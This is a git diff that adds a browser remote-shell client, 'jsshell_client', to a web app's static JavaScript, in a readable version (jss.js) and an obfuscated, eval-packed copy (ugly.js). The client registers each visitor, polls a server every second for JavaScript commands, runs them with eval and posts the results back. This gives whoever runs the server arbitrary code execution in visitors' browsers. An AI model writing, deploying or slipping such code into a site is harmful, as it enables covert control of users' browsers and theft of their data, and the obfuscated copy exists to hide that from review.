diff --git a/app/static/js/jss.js b/app/static/js/jss.js
new file mode 100644
index 0000000..62fb4f4
--- /dev/null
+++ b/app/static/js/jss.js
@@ -0,0 +1,105 @@
+! function foo(config) {
+
+ /* Eval Context */
+ this.context = {};
+
+ /* Logging functions */
+ this.log = function (text) {
+ if (config["debug"]) {
+ console.log("debug: ", text)
+ }
+ };
+ this.err = function (errText) {
+ console.log("error: ", errText)
+ };
+
+ /* get a unique identifier */
+ this.getUUID = function () {
+ function s4() { return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); }
+ return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4();
+ };
+
+ /* register as a new client */
+ this.register = function () {
+ var formData = {
+ 'uuid': getUUID(),
+ 'user_agent' : navigator.userAgent
+ };
+
+ $.ajax({
+ url: "/register/",
+ type: "POST",
+ data: formData,
+ success: function (data, textStatus, jqXHR) {
+ log(data);
+ },
+ error: function (jqXHR, textStatus, errorThrown) {
+ err(textStatus);
+ }
+ });
+
+ this.id = formData['uuid'];
+ };
+
+ /* fetch a new command from the command queue */
+ this.getCommand = function() {
+
+ $.ajax({
+ url: "/get_command/" + this.id,
+ type: "GET",
+ dataType: 'json',
+ context: this,
+ success: function (data, textStatus, jqXHR) {
+ if (!('error' in data ) && ('success' in data))
+ {
+ var cmd = data['success'];
+ var cmd_id = data['cmd_id'];
+ this.exec(cmd, cmd_id);
+ }
+ log(data);
+ },
+ error: function (jqXHR, textStatus, errorThrown) {
+ err(textStatus);
+ }
+ })
+ };
+
+ /* executes a command in the eval context */
+ this.exec = function(cmd, cmd_id) {
+ try
+ {
+ var out = eval.call(this.context, cmd);
+ var js = JSON.prune(out);
+
+ //var out = JSON.stringify(eval(cmd));
+ this.postBack({'output' : js, 'cmd_id' : cmd_id, 'uuid' : this.id});
+ }
+ catch(err)
+ {
+ this.postBack({'output' : err.message, 'cmd_id' : cmd_id, 'uuid' : this.id});
+ }
+ };
+
+ /* when a command has finished executing, post it back to the server */
+ this.postBack = function(data) {
+
+ $.ajax({
+ url: "/post_back/",
+ type: "POST",
+ data: data,
+ success: function (data, textStatus, jqXHR) {
+ log(data);
+ },
+ error: function (jqXHR, textStatus, errorThrown) {
+ err(errorThrown);
+ }
+ });
+ };
+
+ /* Main */
+ this.register();
+ setInterval(this.getCommand, 1000);
+
+}({
+ 'debug' : true
+});
\ No newline at end of file
diff --git a/app/static/js/ugly.js b/app/static/js/ugly.js
new file mode 100644
index 0000000..b64d9bc
--- /dev/null
+++ b/app/static/js/ugly.js
@@ -0,0 +1 @@
+var _0xe1cc=["\x74\x20\x61\x3D\x5B\x22\x5C\x6C\x5C\x69\x5C\x71\x5C\x67\x5C\x62\x5C\x43\x5C\x67\x22\x2C\x22\x5C\x42\x5C\x69\x5C\x6B\x22\x2C\x22\x5C\x66\x5C\x62\x5C\x7A\x5C\x63\x5C\x6B\x22\x2C\x22\x5C\x66\x5C\x62\x5C\x7A\x5C\x63\x5C\x6B\x5C\x4E\x5C\x4B\x22\x2C\x22\x5C\x62\x5C\x65\x5C\x65\x22\x2C\x22\x5C\x62\x5C\x65\x5C\x65\x5C\x69\x5C\x65\x5C\x4E\x5C\x4B\x22\x2C\x22\x5C\x6B\x5C\x62\x5C\x67\x5C\x55\x5C\x55\x5C\x31\x65\x5C\x31\x66\x22\x2C\x22\x5C\x6A\x5C\x63\x5C\x7A\x5C\x6A\x5C\x67\x5C\x65\x5C\x6D\x5C\x71\x5C\x6B\x22\x2C\x22\x5C\x65\x5C\x6E\x5C\x71\x5C\x66\x5C\x69\x5C\x70\x22\x2C\x22\x5C\x31\x6A\x5C\x42\x5C\x69\x5C\x69\x5C\x65\x22\x2C\x22\x5C\x31\x69\x22\x2C\x22\x5C\x65\x5C\x62\x5C\x6B\x5C\x6D\x5C\x6A\x5C\x67\x5C\x62\x5C\x65\x22\x2C\x22\x5C\x63\x5C\x6A\x5C\x62\x5C\x65\x5C\x31\x67\x5C\x6B\x5C\x62\x5C\x71\x5C\x67\x22\x2C\x22\x5C\x75\x5C\x65\x5C\x62\x5C\x6B\x5C\x6D\x5C\x6A\x5C\x67\x5C\x62\x5C\x65\x5C\x75\x22\x2C\x22\x5C\x31\x73\x5C\x31\x6C\x5C\x31\x72\x5C\x31\x63\x22\x2C\x22\x5C\x6E\x5C\x57\x5C\x6E\x5C\x43\x22\x2C\x22\x5C\x6D\x5C\x66\x22\x2C\x22\x5C\x63\x5C\x63\x5C\x6D\x5C\x66\x22\x2C\x22\x5C\x6B\x5C\x62\x5C\x67\x5C\x31\x70\x5C\x69\x5C\x70\x5C\x70\x5C\x6E\x5C\x71\x5C\x66\x22\x2C\x22\x5C\x75\x5C\x6B\x5C\x62\x5C\x67\x5C\x73\x5C\x6C\x5C\x69\x5C\x70\x5C\x70\x5C\x6E\x5C\x71\x5C\x66\x5C\x75\x22\x2C\x22\x5C\x31\x6D\x5C\x31\x6E\x5C\x31\x63\x22\x2C\x22\x5C\x57\x5C\x6A\x5C\x69\x5C\x71\x22\x2C\x22\x5C\x62\x5C\x65\x5C\x65\x5C\x69\x5C\x65\x22\x2C\x22\x5C\x6A\x5C\x63\x5C\x6C\x5C\x6C\x5C\x62\x5C\x6A\x5C\x6A\x22\x2C\x22\x5C\x6C\x5C\x70\x5C\x66\x5C\x73\x5C\x6D\x5C\x66\x22\x2C\x22\x5C\x62\x5C\x43\x5C\x62\x5C\x6C\x22\x2C\x22\x5C\x6C\x5C\x6E\x5C\x42\x5C\x42\x22\x2C\x22\x5C\x79\x5C\x65\x5C\x63\x5C\x71\x5C\x62\x22\x2C\x22\x5C\x79\x5C\x69\x5C\x6A\x5C\x67\x5C\x31\x6F\x5C\x6E\x5C\x6C\x5C\x50\x22\x2C\x22\x5C\x70\x5C\x62\x5C\x6A\x5C\x6A\x5C\x6E\x5C\x6B\x5C\x62\x22\x2C\x22\x5C\x75\x5C\x79\x5C\x69\x5C\x6A\x5C\x67\x5C\x73\x5C\x7A\x5C\x6E\x5C\x6C\x5C\x50\x5C\x75\x22\x5D\x3B\x21\x68\x20\x31\x71\x28\x54\x29\x7B\x64\x5B\x61\x5B\x30\x5D\x5D\x3D\x7B\x7D\x3B\x64\x5B\x61\x5B\x31\x5D\x5D\x3D\x68\x28\x53\x29\x7B\x4F\x28\x54\x5B\x61\x5B\x32\x5D\x5D\x29\x7B\x52\x5B\x61\x5B\x31\x5D\x5D\x28\x61\x5B\x33\x5D\x2C\x53\x29\x7D\x7D\x3B\x64\x5B\x61\x5B\x34\x5D\x5D\x3D\x68\x28\x56\x29\x7B\x52\x5B\x61\x5B\x31\x5D\x5D\x28\x61\x5B\x35\x5D\x2C\x56\x29\x7D\x3B\x64\x5B\x61\x5B\x36\x5D\x5D\x3D\x68\x28\x29\x7B\x68\x20\x72\x28\x29\x7B\x31\x61\x20\x51\x5B\x61\x5B\x39\x5D\x5D\x28\x28\x31\x2B\x51\x5B\x61\x5B\x38\x5D\x5D\x28\x29\x29\x2A\x31\x6B\x29\x2E\x31\x68\x28\x31\x36\x29\x5B\x61\x5B\x37\x5D\x5D\x28\x31\x29\x7D\x31\x61\x20\x72\x28\x29\x2B\x72\x28\x29\x2B\x61\x5B\x31\x30\x5D\x2B\x72\x28\x29\x2B\x61\x5B\x31\x30\x5D\x2B\x72\x28\x29\x2B\x61\x5B\x31\x30\x5D\x2B\x72\x28\x29\x2B\x61\x5B\x31\x30\x5D\x2B\x72\x28\x29\x2B\x72\x28\x29\x2B\x72\x28\x29\x7D\x3B\x64\x5B\x61\x5B\x31\x31\x5D\x5D\x3D\x68\x28\x29\x7B\x74\x20\x47\x3D\x7B\x22\x5C\x63\x5C\x63\x5C\x6D\x5C\x66\x22\x3A\x31\x4C\x28\x29\x2C\x22\x5C\x63\x5C\x6A\x5C\x62\x5C\x65\x5C\x73\x5C\x6E\x5C\x6B\x5C\x62\x5C\x71\x5C\x67\x22\x3A\x31\x4D\x5B\x61\x5B\x31\x32\x5D\x5D\x7D\x3B\x24\x5B\x61\x5B\x31\x35\x5D\x5D\x28\x7B\x49\x3A\x61\x5B\x31\x33\x5D\x2C\x4A\x3A\x61\x5B\x31\x34\x5D\x2C\x31\x62\x3A\x47\x2C\x48\x3A\x68\x28\x6F\x2C\x76\x2C\x77\x29\x7B\x7D\x2C\x45\x3A\x68\x28\x77\x2C\x76\x2C\x44\x29\x7B\x7D\x7D\x29\x3B\x64\x5B\x61\x5B\x31\x36\x5D\x5D\x3D\x47\x5B\x61\x5B\x31\x37\x5D\x5D\x7D\x3B\x64\x5B\x61\x5B\x31\x38\x5D\x5D\x3D\x68\x28\x29\x7B\x24\x5B\x61\x5B\x31\x35\x5D\x5D\x28\x7B\x49\x3A\x61\x5B\x31\x39\x5D\x2B\x64\x5B\x61\x5B\x31\x36\x5D\x5D\x2C\x4A\x3A\x61\x5B\x31\x4A\x5D\x2C\x31\x7A\x3A\x61\x5B\x31\x41\x5D\x2C\x31\x74\x3A\x64\x2C\x48\x3A\x68\x28\x6F\x2C\x76\x2C\x77\x29\x7B\x4F\x28\x21\x28\x61\x5B\x31\x79\x5D\x4C\x20\x6F\x29\x26\x26\x28\x61\x5B\x4D\x5D\x4C\x20\x6F\x29\x29\x7B\x74\x20\x41\x3D\x6F\x5B\x61\x5B\x4D\x5D\x5D\x3B\x74\x20\x78\x3D\x6F\x5B\x61\x5B\x31\x78\x5D\x5D\x3B\x64\x5B\x61\x5B\x58\x5D\x5D\x28\x41\x2C\x78\x29\x7D\x3B\x31\x75\x28\x6F\x29\x7D\x2C\x45\x3A\x68\x28\x77\x2C\x76\x2C\x44\x29\x7B\x7D\x7D\x29\x7D\x3B\x64\x5B\x61\x5B\x58\x5D\x5D\x3D\x68\x28\x41\x2C\x78\x29\x7B\x31\x76\x7B\x74\x20\x5A\x3D\x31\x77\x5B\x61\x5B\x31\x42\x5D\x5D\x28\x64\x5B\x61\x5B\x30\x5D\x5D\x2C\x41\x29\x3B\x74\x20\x59\x3D\x31\x43\x5B\x61\x5B\x31\x48\x5D\x5D\x28\x5A\x29\x3B\x64\x5B\x61\x5B\x46\x5D\x5D\x28\x7B\x22\x5C\x69\x5C\x63\x5C\x67\x5C\x79\x5C\x63\x5C\x67\x22\x3A\x59\x2C\x22\x5C\x6C\x5C\x70\x5C\x66\x5C\x73\x5C\x6D\x5C\x66\x22\x3A\x78\x2C\x22\x5C\x63\x5C\x63\x5C\x6D\x5C\x66\x22\x3A\x64\x5B\x61\x5B\x31\x36\x5D\x5D\x7D\x29\x7D\x31\x49\x28\x31\x64\x29\x7B\x64\x5B\x61\x5B\x46\x5D\x5D\x28\x7B\x22\x5C\x69\x5C\x63\x5C\x67\x5C\x79\x5C\x63\x5C\x67\x22\x3A\x31\x64\x5B\x61\x5B\x31\x47\x5D\x5D\x2C\x22\x5C\x6C\x5C\x70\x5C\x66\x5C\x73\x5C\x6D\x5C\x66\x22\x3A\x78\x2C\x22\x5C\x63\x5C\x63\x5C\x6D\x5C\x66\x22\x3A\x64\x5B\x61\x5B\x31\x36\x5D\x5D\x7D\x29\x7D\x7D\x3B\x64\x5B\x61\x5B\x46\x5D\x5D\x3D\x68\x28\x6F\x29\x7B\x24\x5B\x61\x5B\x31\x35\x5D\x5D\x28\x7B\x49\x3A\x61\x5B\x31\x46\x5D\x2C\x4A\x3A\x61\x5B\x31\x34\x5D\x2C\x31\x62\x3A\x6F\x2C\x48\x3A\x68\x28\x6F\x2C\x76\x2C\x77\x29\x7B\x7D\x2C\x45\x3A\x68\x28\x77\x2C\x76\x2C\x44\x29\x7B\x7D\x7D\x29\x7D\x3B\x64\x5B\x61\x5B\x31\x31\x5D\x5D\x28\x29\x3B\x31\x44\x28\x64\x5B\x61\x5B\x31\x38\x5D\x5D\x2C\x31\x45\x29\x7D\x28\x7B\x22\x5C\x66\x5C\x62\x5C\x7A\x5C\x63\x5C\x6B\x22\x3A\x31\x4B\x7D\x29","\x7C","\x73\x70\x6C\x69\x74","\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x5F\x30\x78\x35\x32\x34\x32\x7C\x78\x36\x35\x7C\x78\x37\x35\x7C\x74\x68\x69\x73\x7C\x78\x37\x32\x7C\x78\x36\x34\x7C\x78\x37\x34\x7C\x66\x75\x6E\x63\x74\x69\x6F\x6E\x7C\x78\x36\x46\x7C\x78\x37\x33\x7C\x78\x36\x37\x7C\x78\x36\x33\x7C\x78\x36\x39\x7C\x78\x36\x31\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x37\x7C\x78\x36\x44\x7C\x78\x36\x45\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x35\x7C\x78\x35\x46\x7C\x76\x61\x72\x7C\x78\x32\x46\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x38\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x39\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x63\x7C\x78\x37\x30\x7C\x78\x36\x32\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x62\x7C\x78\x36\x43\x7C\x78\x37\x38\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x61\x7C\x65\x72\x72\x6F\x72\x7C\x32\x38\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x36\x7C\x73\x75\x63\x63\x65\x73\x73\x7C\x75\x72\x6C\x7C\x74\x79\x70\x65\x7C\x78\x32\x30\x7C\x69\x6E\x7C\x32\x33\x7C\x78\x33\x41\x7C\x69\x66\x7C\x78\x36\x42\x7C\x4D\x61\x74\x68\x7C\x63\x6F\x6E\x73\x6F\x6C\x65\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x33\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x32\x7C\x78\x35\x35\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x34\x7C\x78\x36\x41\x7C\x32\x35\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x65\x7C\x5F\x30\x78\x39\x31\x62\x61\x78\x64\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x7C\x72\x65\x74\x75\x72\x6E\x7C\x64\x61\x74\x61\x7C\x78\x35\x34\x7C\x65\x72\x72\x7C\x78\x34\x39\x7C\x78\x34\x34\x7C\x78\x34\x31\x7C\x74\x6F\x53\x74\x72\x69\x6E\x67\x7C\x78\x32\x44\x7C\x78\x36\x36\x7C\x30\x78\x31\x30\x30\x30\x30\x7C\x78\x34\x46\x7C\x78\x34\x37\x7C\x78\x34\x35\x7C\x78\x34\x32\x7C\x78\x34\x33\x7C\x66\x6F\x6F\x7C\x78\x35\x33\x7C\x78\x35\x30\x7C\x63\x6F\x6E\x74\x65\x78\x74\x7C\x6C\x6F\x67\x7C\x74\x72\x79\x7C\x65\x76\x61\x6C\x7C\x32\x34\x7C\x32\x32\x7C\x64\x61\x74\x61\x54\x79\x70\x65\x7C\x32\x31\x7C\x32\x36\x7C\x4A\x53\x4F\x4E\x7C\x73\x65\x74\x49\x6E\x74\x65\x72\x76\x61\x6C\x7C\x31\x30\x30\x30\x7C\x33\x30\x7C\x32\x39\x7C\x32\x37\x7C\x63\x61\x74\x63\x68\x7C\x32\x30\x7C\x66\x61\x6C\x73\x65\x7C\x67\x65\x74\x55\x55\x49\x44\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72","","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x5C\x62","\x67","\x72\x65\x70\x6C\x61\x63\x65"];eval(function(_0x2977x1,_0x2977x2,_0x2977x3,_0x2977x4,_0x2977x5,_0x2977x6){_0x2977x5= function(_0x2977x3){return (_0x2977x3< _0x2977x2?_0xe1cc[4]:_0x2977x5(parseInt(_0x2977x3/ _0x2977x2)))+ ((_0x2977x3= _0x2977x3% _0x2977x2)> 35?String[_0xe1cc[5]](_0x2977x3+ 29):_0x2977x3.toString(36))};while(_0x2977x3--){if(_0x2977x4[_0x2977x3]){_0x2977x1= _0x2977x1[_0xe1cc[8]]( new RegExp(_0xe1cc[6]+ _0x2977x5(_0x2977x3)+ _0xe1cc[6],_0xe1cc[7]),_0x2977x4[_0x2977x3])}};return _0x2977x1}(_0xe1cc[0],62,111,_0xe1cc[3][_0xe1cc[2]](_0xe1cc[1])))
\ No newline at end of file
diff --git a/app/templates/index.html b/app/templates/index.html
index cc316d9..3f37c8a 100644
--- a/app/templates/index.html
+++ b/app/templates/index.html
@@ -10,135 +10,8 @@
var s = "jsshell_client";
-
-
-
-
-
+
+